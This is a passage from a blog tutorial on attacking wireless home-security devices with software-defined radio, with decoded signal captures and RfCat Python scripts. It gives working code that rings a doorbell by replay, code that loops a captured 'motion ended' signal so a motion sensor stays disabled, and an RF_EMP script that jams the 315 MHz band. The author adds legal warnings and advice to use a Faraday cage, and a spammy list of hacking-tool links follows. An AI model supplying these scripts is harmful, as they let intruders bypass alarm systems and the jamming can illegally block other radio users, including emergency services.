src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3u2Qym6HE1GqfHj05IYrNs1I2oNhZfwwIYxYEdVnFeqkkC3NO6CXWwhln1ZhHYRk30P3pff-7XD3UkKc8YtIeabrx7qie-CIXM-RtQRza18ksInx0-P9AaGmiGatLCGGVobM5e3srb9Th/s640/YardStickZoomOutCapture.png" width="640" /></a></div><div class="p2"><br /></div><div class="p2"><br /></div><div class="p4"><br /></div><div class="p4">If we keep zooming in we will see a repeating pattering like the following which is our 10 transmissions repeating over and over:<span class="Apple-converted-space"> </span></div><div class="p4"><span class="Apple-converted-space"><br /></span></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgS8gxttmQYnA1fTpDPEBK38qmC9bFHX21GZDA9TI_ojj_mGr7gMeQxWCO3Kh-qottjM5KhdYT4qHbohEc1zFipVEsPj1ia2ili-zNvvCpLNeMw0iIDdtQfTpWKaEdYA_th0O2fS2AB33yL/s1600/YardStickRepeatcapture.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="532" data-original-width="1312" height="258" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgS8gxttmQYnA1fTpDPEBK38qmC9bFHX21GZDA9TI_ojj_mGr7gMeQxWCO3Kh-qottjM5KhdYT4qHbohEc1zFipVEsPj1ia2ili-zNvvCpLNeMw0iIDdtQfTpWKaEdYA_th0O2fS2AB33yL/s640/YardStickRepeatcapture.png" width="640" /></a></div><div class="p4"><span class="Apple-converted-space"><br /></span></div><div class="p2"><br /></div><div class="p4"><br /></div><div class="p4">If we keep zooming in further we can compare the output from the original capture to the new capture and you will notice it pretty much looks the same other then its hard to get the zoom levels exactly the same in the GUI:<span class="Apple-converted-space"> </span></div><div class="p2"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7xHRGovEAERJ5ghui-U5sP3-DSm6vX7ZnpNL2O8IO-ieQBPBV3Ar9C_GRLxAy7AkY3QIZE3L2pz0zuyZd1D0ZfBhDwrRmQ403vOQdfZCZWKQMKuq1f9xA2C2bYRkcPzIxH_vKYsDWyrWz/s1600/YardStickZoomInCapture.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="622" data-original-width="1410" height="282" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7xHRGovEAERJ5ghui-U5sP3-DSm6vX7ZnpNL2O8IO-ieQBPBV3Ar9C_GRLxAy7AkY3QIZE3L2pz0zuyZd1D0ZfBhDwrRmQ403vOQdfZCZWKQMKuq1f9xA2C2bYRkcPzIxH_vKYsDWyrWz/s640/YardStickZoomInCapture.png" width="640" /></a></div><div class="p2"><br /></div><div class="p2"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsfibaRahMQ3-pJDPEg36Hue-xBpfeudEIUqlwxj7zfUej9Gv64z5YM0_AGE_N9XW0lfGa8TnEFETV1HgWyfrmNoDRF2zVGlv07Y8FiBi4Y5e9so1k_h056dtH0GMXz3Sv8fZqdCsWidh6/s1600/DoorBellZoomedIN.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="616" data-original-width="1090" height="360" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsfibaRahMQ3-pJDPEg36Hue-xBpfeudEIUqlwxj7zfUej9Gv64z5YM0_AGE_N9XW0lfGa8TnEFETV1HgWyfrmNoDRF2zVGlv07Y8FiBi4Y5e9so1k_h056dtH0GMXz3Sv8fZqdCsWidh6/s640/DoorBellZoomedIN.png" width="640" /></a></div><div class="p4"><span class="Apple-converted-space"><br /></span></div><div class="p2"><br /></div><div class="p2"><br /></div><div class="p4">Hmmm ok so the pattern looks correct but the spacing between patterns is smashed together. After a bit of searching online I came across a piece of code which was unrelated to what I was trying to do but sending RF transmissions with \x00\x00\x00 padding at the end of the hex.<span class="Apple-converted-space">  </span>This makes sense in the context of our visual representation above being all mashed up. So I tried this and it still failed.<span class="Apple-converted-space">  </span>I then doubled it to 6 \x00's and the doorbell went off. So basically we just needed padding.<span class="Apple-converted-space"> </span></div><div class="p2"><br /></div><div class="p4">Also I should note that you can put as much padding as you want at the end.. I tried as much as 12 \x00 padding elements and the doorbell still went off. I also then tried a few variations of my binary decoding and some of those which were slightly off actually rang the doorbell. So some variance is tolerated at least with this device.<span class="Apple-converted-space">  </span>Below is the working code :)<span class="Apple-converted-space">   </span></div><div class="p2"><br /></div><div class="p2"><br /></div><div class="p4">Our Hello World test is a SUCCESS. But now we need to move on to something that could bypass the security of the device and cause real world issues.<span class="Apple-converted-space"> </span></div><div class="p2"><br /></div><div class="p4">The following updated code will ring the doorbell using padding:<span class="Apple-converted-space"> </span></div><div class="p4">#--------Ring the doorbell--------#:<span class="Apple-converted-space"> </span></div><div class="p4">from rflib import *</div><div class="p2"><br /></div><div class="p4">d = RfCat()</div><div class="p4">d.setFreq(315005000)</div><div class="p4">d.setMdmModulation(MOD_ASK_OOK)</div><div class="p4">d.setMdmDRate(4800)</div><div class="p2"><br /></div><div class="p4">print ("Starting Transmission")</div><div class="p4">d.RFxmit("\xb8\x8b\xb8\x88\x8b\xbb\x80\x00\x00\x00\x00\x00\x00"*10)</div><div class="p4">print ("Transmission Complete")</div><div class="p4">#--------End Code --------#</div><div class="p2"><br /></div><div class="p2"><br /></div><h2>Disable the Motion Sensor with No Motion Feature: </h2><div class="p4">Ok so originally our simple HackRF replay had about a 50% success rate on turning off the motion sensor due to extraneous data in the transmission replay and timing issues. Lets see if we can get that to 100% with what we learned about decoding from the doorbell. We will instead decode the signal pattern sent from the transmitter to the receiver when shutting off the alert light, but without extra data. We will send it directly with a Yardstick over and over again and potentially use the devices own functionality to disable itself. This would allow us to walk past the motion sensors without setting off an alert.<span class="Apple-converted-space"> </span></div><div class="p4">The question is can we take the transmission from the Motion Sensor to the Receiver Hub which says motion has ended and use that to disable the Motion Sensor based on a slight delay between saying "there is no motion" and being ready to alert again and bypass the motion sensors security.<span class="Apple-converted-space">  </span>Lets give it a try by capturing the "motion has ended" transmission with GQRX when the motion sensor sends its packet to the receiver 6 seconds after initial alert and decode the pattern..<span class="Apple-converted-space"> </span></div><div class="p2"><br /></div><div class="p4">Below is a screenshot of the "Motion has ended) transmission in audacity:<span class="Apple-converted-space"> </span></div><div class="p2"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhA6qazohJGdra4dHCyvlHwhqFphjCmrS2Iwia-V0PedpOQned6S0nWI2NmxVBDi8ByqH9iNIAoZWc4nWqjSd4Pzf2pQuEPdfZ6KpxAEdJaw5OYgxYQBqzZuLWzP6mjRjhZIdNrBqXdF-TP/s1600/Full+TurnLightOff.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="467" data-original-width="1600" height="186" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhA6qazohJGdra4dHCyvlHwhqFphjCmrS2Iwia-V0PedpOQned6S0nWI2NmxVBDi8ByqH9iNIAoZWc4nWqjSd4Pzf2pQuEPdfZ6KpxAEdJaw5OYgxYQBqzZuLWzP6mjRjhZIdNrBqXdF-TP/s640/Full+TurnLightOff.png" width="640" /></a></div><div class="p2"><br /></div><div class="p2"><br /></div><div class="p4">So this sequence was a bit different, there was an opening sequence followed by a repeating sequence.<span class="Apple-converted-space">  </span>Lets decode both of these patterns and then determine what we need to send in order to affect the devices motion turnoff functionality.<span class="Apple-converted-space">  </span>Below is the zoomed in version of the opening sequence and repeating sequence followed by an estimation of what I think the conversion is.<span class="Apple-converted-space"> </span></div><div class="p2"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNIcrXGSwTMmxT-Nahp8Jg-wASLtVz8gIDwZKdHxvUFv-Bv4H0mZOjKhQ-dZGPmdE-_6MvGPZ7rR26yd-E3DEEJGrUogLKDjkd_fD84tLdEYPL423e-WAdpSJphe8EH02wEjd32dS-UCSr/s1600/FirstPart.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="505" data-original-width="1098" height="292" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNIcrXGSwTMmxT-Nahp8Jg-wASLtVz8gIDwZKdHxvUFv-Bv4H0mZOjKhQ-dZGPmdE-_6MvGPZ7rR26yd-E3DEEJGrUogLKDjkd_fD84tLdEYPL423e-WAdpSJphe8EH02wEjd32dS-UCSr/s640/FirstPart.png" width="640" /></a></div><div class="p2"><br /></div><div class="p2"><br /></div><div class="p2"><br /></div><div class="p4">The opening sequence appears to have all the highs in single 1's format and most of the lows in 3 000's format, below is the exact conversion that I came up with adding some 0's at the end to make the correct byte length…<span class="Apple-converted-space"> </span></div><div class="p2"><br /></div><div class="p4">See what you can come up with,<span class="Apple-converted-space">  </span>does it match what I have below?<span class="Apple-converted-space"> </span></div><div class="p2"><br /></div><div class="p4">10001000 10100010 10001010 00101000 10101000 10001010 00101000 10100000</div><div class="p2"><br /></div><div class="p4">If we convert that to hex we get the following:<span class="Apple-converted-space"> </span></div><div class="p4">Destroy:ficti0n$ rax2 10001000b 10100010b 10001010b 00101000b 10101000b 10001010b 00101000b 10100000b</div><div class="p4">0x88</div><div class="p4">0xa2</div><div class="p4">0x8a</div><div class="p4">0x28</div><div class="p4">0xa8</div><div class="p4">0x8a</div><div class="p4">0x28</div><div class="p4">0xa0</div><div class="p2"><br /></div><div class="p4">Hex Conversion for the python script:<span class="Apple-converted-space"> </span></div><div class="p4">\x88\xa2\x8a\x28\xa8\x8a\x28\xa0</div><div class="p2"><br /></div><div class="p2"><br /></div><div class="p4">Next up is our repeating pattern which has a similar but slightly different structure then the opening pattern. This one starts with a 101 instead of 1000 but still seems to have all of its 1's in single representations and most of its lows in sets of 3 000's. Below the screenshot is the the binary I came up with.. Write it out and see if you get the same thing?<span class="Apple-converted-space"> </span></div><div class="p2"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgI6g81olComxKlHwurd7sy6sF1EbbNhUI9mnxm4zCR_ieryjiUTEgxZE0kahe5lak9SqF7RoYRQ3FmexVo9BWZPb2b2GHdPmvT-Ck176Lm0He86-a_LK-mO3fUCii1IpR0a7hh9J3JAzfC/s1600/TurnOffLightZoomIn.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="638" data-original-width="1300" height="314" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgI6g81olComxKlHwurd7sy6sF1EbbNhUI9mnxm4zCR_ieryjiUTEgxZE0kahe5lak9SqF7RoYRQ3FmexVo9BWZPb2b2GHdPmvT-Ck176Lm0He86-a_LK-mO3fUCii1IpR0a7hh9J3JAzfC/s640/TurnOffLightZoomIn.png" width="640" /></a></div><div class="p2"><br /></div><div class="p2"><br /></div><div class="p2"><br /></div><div class="p4"><b>Repeating Pattern:</b></div><div class="p4">10100010 10100010 10001000 10100010 10001010 00101000 10101000 10100010 10001010 00101000</div><div class="p2"><br /></div><div class="p4"><b>Hex Conversion:</b><span class="Apple-converted-space">  </span>(Used the online tool, R2 didn't like this binary for some reason)<span class="Apple-converted-space"> </span></div><div class="p4">\xA2\xA2\x88\xA2\x8A\x28\xA8\xA2\x8A\x28</div><div class="p2"><br /></div><div class="p4"><h3><b>Testing / Troubleshooting:<span class="Apple-converted-space"> </span></b></h3></div><div class="p4">I first tried sending only the repeating sequence under the assumption the opening sequence was a fluke but that did not work.<span class="Apple-converted-space"> </span></div><div class="p4">I then tried sending only the opening sequence and that didn't work either. <span class="Apple-converted-space"> </span></div><div class="p4">I combined the first part with a repeating 2nd part for 10 iterations<span class="Apple-converted-space"> </span></div><div class="p4">The alert light immediately turned off on the device when testing from an alerting state, and from all states stopped alerting completely</div><div class="p4">Note(My light no longer turns off, I think I broke it or something LOL, or my setup at the time was different to current testing)<span class="Apple-converted-space"> </span></div><div class="p2"><br /></div><div class="p4">In order to send the first part and the second part we need to send it so that we have padding between each sequence and in a way that only the second part repeats, we can do that the following way:<span class="Apple-converted-space"> </span></div><div class="p4">d.RFxmit("\x88\xa2\x8a\x28\xa8\x8a\x28\xa0\x00\x00\x00\x00\x00\x00" + "\xA2\xA2\x88\xA2\x8A\x28\xA8\xA2\x8A\x28\x00\x00\x00\x00\x00\x00"*40)</div><div class="p2"><br /></div><div class="p4">The above is very simple, to explain:<br /><br /><ul><li>First add in your opening patterns HEX values</li><li>Pad that with 6 \x00 for spacing</li><li>Add the second patterns HEX values and add that with 6 \x00</li><li>Now multiply the second part by 10 since in the wave output this part was repeating</li></ul></div><div class="p2"><br /></div><div class="p4">Below is the full code to do this, it is the same as the doorbell code with the new line from above and a While 1 loop that never stops so that the device is fully disabled using its own functionality against it :) <span class="Apple-converted-space"> </span></div><div class="p3"><b>SUCCESS</b></div><div class="p2"><br /></div><div class="p4">As a quick test if you intentionally trip the sensor and immediately send this code the BEEP BEEP BEEP will be cut short to a single BEEP also the light may turn off depending how its configured. In all cases the motion sensor capability will be disabled. If you turn this script on at any time the sensor is completely disabled until you stop your transmission:</div><div class="p2"><br /></div><div class="p4">#--------Disable The Motion Sensor --------#:<span class="Apple-converted-space"> </span></div><div class="p4">from rflib import *</div><div class="p2"><br /></div><div class="p4">d = RfCat()</div><div class="p4">d.setFreq(315005000)</div><div class="p4">d.setMdmModulation(MOD_ASK_OOK)</div><div class="p4">d.setMdmDRate(4800)</div><div class="p2"><br /></div><div class="p4">while 1:<span class="Apple-converted-space">  </span>#Added a loop to keep the sensor disabled</div><div class="p4"><span class="Apple-tab-span"> </span>print ("Starting Transmission")</div><div class="p4"><span class="Apple-tab-span"> </span>d.RFxmit("\x88\xa2\x8a\x28\xa8\x8a\x28\xa0\x00\x00\x00\x00\x00\x00" + "\xA2\xA2\x88\xA2\x8A\x28\xA8\xA2\x8A\x28\x00\x00\x00\x00\x00\x00"*40)</div><div class="p4"><span class="Apple-tab-span"> </span>print ("Transmission Complete")</div><div class="p4">#--------End Code --------#</div><div class="p2"><br /></div><div class="p2"><br /></div><div class="p2"><br /></div><div class="p2"><br /></div><h2><b>Jamming RF With Python:<span class="Apple-converted-space"> </span></b></h2><div class="p4">Bypassing the sensors worked, but then I got thinking, so what if the company puts out a new patch and I am no longer able to turn off the sensors by using the devices functionality against itself? Or what if I wanted to bypass the door alert when the door is opened and it breaks the connection?<span class="Apple-converted-space">  </span>The door alert does not have a disable signal sent back to the receiver, it always alerts when separated.<span class="Apple-converted-space"> </span></div><div class="p2"><br /></div><h2>RF Jamming and the FCC:<span class="Apple-converted-space"> </span></h2><div class="p4">One way we can do this is with RF Jamming attacks. However, it should be noted that Jamming is technically ILLEGAL in the US on all frequencies. So in order to test this in a Legal way you will need a walk in Faraday cage to place your equipment and do some testing. This way you will not interfere with the operation of other devices on the frequency that you are jamming.<span class="Apple-converted-space"> </span></div><div class="p2"><br /></div><br /><h3>From the FCC: <a href="https://apps.fcc.gov/edocs_public/attachmatch/DA-12-1642A1.pdf">https://apps.fcc.gov/edocs_public/attachmatch/DA-12-1642A1.pdf</a></h3><h3> "We caution consumers that it is against the law to use a cell or GPS jammer or any other type of device that blocks, jams or interferes with authorized communications, as well as to import, advertise, sell, or ship such a device. The FCC Enforcement Bureau has a zero tolerance policy in this area and will take aggressive action against violators. "</h3><div class="p2"><h3><b><br /></b></h3><h3><b>Notes On the reality of Criminals: </b></h3></div><div class="p4">It should also be noted that if a criminal is trying to break into your house or a building protected by an alert system that uses wireless technologies, he is probably not following FCC guidelines. So assume if you can attack your alarm system in the safety of a Faraday cage.<span class="Apple-converted-space">  </span>Your alarm system is vulnerable to attack by any criminal. A fair assumption when penetration testing an alarm system your considering for install.<span class="Apple-converted-space">  </span>You may want devices which are hardwired in as a backup.<span class="Apple-converted-space"> </span></div><div class="p2"><br /></div><div class="p4">There has always been Jammers for things like Cellphones, WiFi networks. With the introduction of affordable software defined radio devices an attacker can jam the 315 frequency to disable your alert system as a viable attack.<span class="Apple-converted-space">  </span>A simple python script can kill a device in the 315 range and make it in-operable.<span class="Apple-converted-space"> </span></div><div class="p4"><span class="Apple-converted-space"><br /></span></div><h3><span class="Apple-converted-space">Jamming in Python: </span></h3><div class="p4">I found the below script to be 100% effective while testing within a Faraday enclosure. Basically<span class="Apple-converted-space">  </span>the device pauses in its current operational state, idle state or a alert light state, the device will remain in that state indefinitely until the jamming attack is stopped and the devices are manually reset.</div><div class="p2"><br /></div><div class="p2"><h3><b>Use a Faraday cage for your security testing: </b></h3></div><div class="p4">If you use the below code make sure you use precautions such as Faraday cages to ensure the legal guidelines are met and you are not interfering with other devices in your area. You must assume that radios used by police, fire departments and other public safety activities could be blocked if you are not enclosing your signal. This code is purely for you to test your devices before installing them for the security of your assets.<span class="Apple-converted-space"> </span></div><div class="p2"><br /></div><div class="p4">I call the below program RF_EMP,<span class="Apple-converted-space">  </span>not because its sending an electronic pulse but because similar to an EMP its disabling all devices in its range.<span class="Apple-converted-space">  </span>Which is why you need to use a Faraday cage so as not to interfere with devices you do not own.<span class="Apple-converted-space"> </span></div><div class="p4">Below is a simple manually configurable version of this script.<span class="Apple-converted-space"> </span></div><div class="p6"><h3><br />#--------RF_Emp.py Simple Version --------#:<span class="Apple-converted-space"> </span></h3><b></b></div><div class="p4"># For use within Faraday Enclosures only</div><div class="p4">from rflib import *</div><div class="p2"><br /></div><div class="p4">print "Start RF Jamming FTW"</div><div class="p4">d = RfCat()</div><div class="p4">d.setMdmModulation(MOD_ASK_OOK)</div><div class="p4">d.setFreq(315000000)</div><div class="p4">d.setMdmSyncMode(0)</div><div class="p4">d.setMdmDRate(4800)</div><div class="p4">d.setMdmChanSpc(24000)</div><div class="p4">d.setModeIDLE()</div><div class="p4">d.setPower(100)</div><div class="p4">d.makePktFLEN(0)</div><div class="p2"><br /></div><div class="p4">print "Starting JAM Session,  Make sure your in your Faraday Enclosure..."</div><div class="p4">d.setModeTX() # start transmitting</div><div class="p4">raw_input("Unplug to stop jamming")</div><div class="p4">print 'done'</div><div class="p4">d.setModeIDLE() # This puts the YardStick in idle mode to stop jamming (Not convinced this works)</div><div class="p4">#--------End Code --------#</div><div class="p2"><br /></div><h3><b>Notes on using Virtual Machines:<span class="Apple-converted-space"> </span></b></h3><style type="text/css">p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; font: 17.0px 'Helvetica Neue'; color: #454545} p.p2 {margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px 'Helvetica Neue'; color: #454545; min-height: 14.0px} p.p3 {margin: 0.0px 0.0px 2.0px 0.0px; font: 14.0px 'Helvetica Neue'; color: #454545} p.p4 {margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px 'Helvetica Neue'; color: #454545} p.p5 {margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px 'Helvetica Neue'; color: #e4af0a} p.p6 {margin: 0.0px 0.0px 2.0px 0.0px; font: 14.0px 'Helvetica Neue'; color: #454545; min-height: 17.0px} li.li4 {margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px 'Helvetica Neue'; color: #454545} span.s1 {color: #454545} span.s2 {color: #e4af0a} span.Apple-tab-span {white-space:pre} ul.ul1 {list-style-type: hyphen} </style> <br /><div class="p4">You can do your RF testing on a virtual machine with pre-installed tools but its kind of sketchy and you might want to throw your Yardstick against the wall in a fury of anger when you have to unplug it after every transmission. After a few fits of blind rage I decided to install it natively so my tools work every time without removing the dongle after each transmission.<span class="Apple-converted-space"> </span></div><div class="p4"><span class="Apple-converted-space"><br /></span></div><h2><span class="Apple-converted-space">Whats next: </span></h2><div class="p4"><span class="Apple-converted-space">This is it for the first blog..  Other topics  will be discussed later, such as attacking devices in a blackbox assessment and configuring your own key fobs. Rolling code devices and bypassing their protections. Monitoring and attacking car components. If you have anything to add or would like to help out.. Feel free to comment and add to the discussion. </span></div><style type="text/css">p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px 'Helvetica Neue'; color: #454545; min-height: 14.0px} </style><h5>More info</h5><br><ol><li> <a href="https://www.google.sr/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.kitploit.com%2F2018%2F10%2Fautordpwn-shadow-attack-framework.html ">Hack App </a></li><li> <a href="https://www.google.ht/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.kitploit.com%2F2018%2F12%2Fustealer-ubuntu-stealer-steal-ubuntu.html ">Pentest Tools For Windows </a></li><li> <a href="https://www.google.ro/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.kitploit.com%2F2019%2F08%2Fhackertarget-toolkit-v20-tools-and.html ">Tools 4 Hack </a></li><li> <a href="https://www.google.ml/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.kitploit.com%2F2018%2F05%2Faggressorscripts-collection-of.html ">Hack Tools For Ubuntu </a></li><li> <a href="https://www.google.ba/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.kitploit.com%2F2019%2F11%2Fthreatnote-dps-lightweight.html ">Hack App </a></li><li> <a href="https://www.google.es/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.kitploit.com%2F2020%2F02%2Ffaraday-presents-latest-version-of.html ">Pentest Tools Port Scanner </a></li><li> <a href="https://www.google.sk/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.kitploit.com%2F2018%2F05%2Ffi6s-ipv6-network-scanner-designed-to.html ">Ethical Hacker Tools </a></li><li> <a href="https://www.google.ee/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.kitploit.com%2F2019%2F12%2Flazyrecon-script-to-automate-your.html ">Hacker Tools For Windows </a></li><li> <a href="https://www.google.bs/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.kitploit.com%2F2018%2F04%2Fhashtopolis-hashcat-wrapper-for.html ">Pentest Tools Download </a></li><li> <a href="https://www.google.lt/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.kitploit.com%2F2019%2F12%2Fpownjs-security-testing-exploitation.html ">Pentest Tools Framework </a></li><li> <a href="https://www.google.ac/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.kitploit.com%2F2018%2F05%2Fhblock-improve-your-security-and.html ">Hack Tools Download </a></li><li> <a href="https://www.google.kg/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.kitploit.com%2F2019%2F01%2Fkube-hunter-hunt-for-security.html ">Hacking Tools Mac </a></li><li> <a href="https://www.google.mv/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.kitploit.com%2F2020%2F01%2Fmemhunter-live-hunting-of-code.html ">Hacker Tools List </a></li><li> <a href="https://www.google.ne/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.kitploit.com%2F2019%2F04%2Fchaos-framework-v20-generate-payloads.html ">Hacker Search Tools </a></li><li> <a href="https://www.google.pn/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.kitploit.com%2F2018%2F05%2Fiosrestrictionbruteforce-v210-crack-ios.html ">Physical Pentest Tools </a></li><li> <a href="https://www.google.fr/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.kitploit.com%2F2019%2F05%2Frecont-reconnaisance-footprinting.html ">Hacking Tools And Software </a></li><li> <a href="https://www.google.tl/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.kitploit.com%2F2019%2F02%2Fmodlishka-open-source-phishing-tool.html ">Hacker Tools Hardware </a></li><li> <a href="https://www.google.gg/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.kitploit.com%2F2018%2F04%2Fsmbrute-smb-protocol-bruteforce.html ">Hacker Tools Apk Download </a></li><li> <a href="https://www.google.bj/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.kitploit.com%2F2018%2F08%2Flynis-267-security-auditing-tool-for.html ">Hacking Tools For Windows 7 </a></li><li> <a href="https://www.google.ng/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.kitploit.com%2F2019%2F12%2Ftop-20-most-popular-hacking-tools-in.html ">Hack Tools Mac </a></li><li> <a href="https://www.google.dz/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.kitploit.com%2F2018%2F11%2Fxssfuzzer-tool-which-generates-xss.html ">Best Hacking Tools 2020 </a></li><li> <a href="https://www.google.it/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.kitploit.com%2F2018%2F07%2Fmasc-web-malware-scanner.html ">Pentest Tools Find Subdomains </a></li><li> <a href="https://www.google.as/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.kitploit.com%2F2019%2F06%2Fpython-iocextract-advanced-indicator-of.html ">Usb Pentest Tools </a></li></ol>

Hacking Everything With RF And Software Defined Radio - Part 1

This will be a Mini Course on Attacking Devices with RF from a hackers perspective I wanted to learn about hacking devices using radio frequ...

Baca selengkapnya »